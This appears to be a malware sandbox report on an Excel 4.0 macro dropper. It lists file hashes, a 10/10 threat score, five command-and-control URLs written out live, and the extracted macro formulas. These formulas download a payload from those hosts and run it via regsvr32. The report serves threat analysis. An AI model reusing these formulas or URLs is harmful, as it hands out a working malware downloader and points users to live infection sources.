General

  • Target

    4d459e2507012e55fe1ee46734f15b770b80f8f38e6ed573437c31f97160161d

  • Size

    173KB

  • Sample

    241120-msp5nszpcp

  • MD5

    bf7b2ecc22a2e56146bf4d6f933fb5d7

  • SHA1

    ec919497cd007e814c25899bccbd4e2e05c44408

  • SHA256

    4d459e2507012e55fe1ee46734f15b770b80f8f38e6ed573437c31f97160161d

  • SHA512

    c03c8f37415ff50ac2afdfad85eb6bc8f761933cc76f5e53bee20349f9f8e184be88776aa7bb7d142777f4f6e9e62a6008811fed3f95eec499a73032573da4fd

  • SSDEEP

    3072:TUlKwtyfsBMtuqBqBqrhyqBqBqBqrhyqmBqenFZRmXANKXg7e79ElHIcp4Gg7SpB:T+KwtyfsBMtuqBqBqrhyqBqBqBqrhyqU

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://carretilha.net/whats/RSL50BlRP0a6hj/

https://shrinandrajoverseas.com/old/wQXty0wnVDY/

https://zionimoveis.com.br/wp-content/Bn00gaw/

https://kontacsgo.pl/m/uwZYNUjGeWW/

http://vps36153.publiccloud.com.br/wp-admin/RfAZZ776uMNhSpOT/

Attributes
  • formulas

    =FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://carretilha.net/whats/RSL50BlRP0a6hj/","..\xxw1.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://shrinandrajoverseas.com/old/wQXty0wnVDY/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://zionimoveis.com.br/wp-content/Bn00gaw/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://kontacsgo.pl/m/uwZYNUjGeWW/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://vps36153.publiccloud.com.br/wp-admin/RfAZZ776uMNhSpOT/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\xxw1.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://carretilha.net/whats/RSL50BlRP0a6hj/

xlm40.dropper

https://shrinandrajoverseas.com/old/wQXty0wnVDY/

xlm40.dropper

https://zionimoveis.com.br/wp-content/Bn00gaw/

xlm40.dropper

https://kontacsgo.pl/m/uwZYNUjGeWW/

xlm40.dropper

http://vps36153.publiccloud.com.br/wp-admin/RfAZZ776uMNhSpOT/

Targets

    • Target

      4d459e2507012e55fe1ee46734f15b770b80f8f38e6ed573437c31f97160161d

    • Size

      173KB

    • MD5

      bf7b2ecc22a2e56146bf4d6f933fb5d7

    • SHA1

      ec919497cd007e814c25899bccbd4e2e05c44408

    • SHA256

      4d459e2507012e55fe1ee46734f15b770b80f8f38e6ed573437c31f97160161d

    • SHA512

      c03c8f37415ff50ac2afdfad85eb6bc8f761933cc76f5e53bee20349f9f8e184be88776aa7bb7d142777f4f6e9e62a6008811fed3f95eec499a73032573da4fd

    • SSDEEP

      3072:TUlKwtyfsBMtuqBqBqrhyqBqBqBqrhyqmBqenFZRmXANKXg7e79ElHIcp4Gg7SpB:T+KwtyfsBMtuqBqBqrhyqBqBqBqrhyqU

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks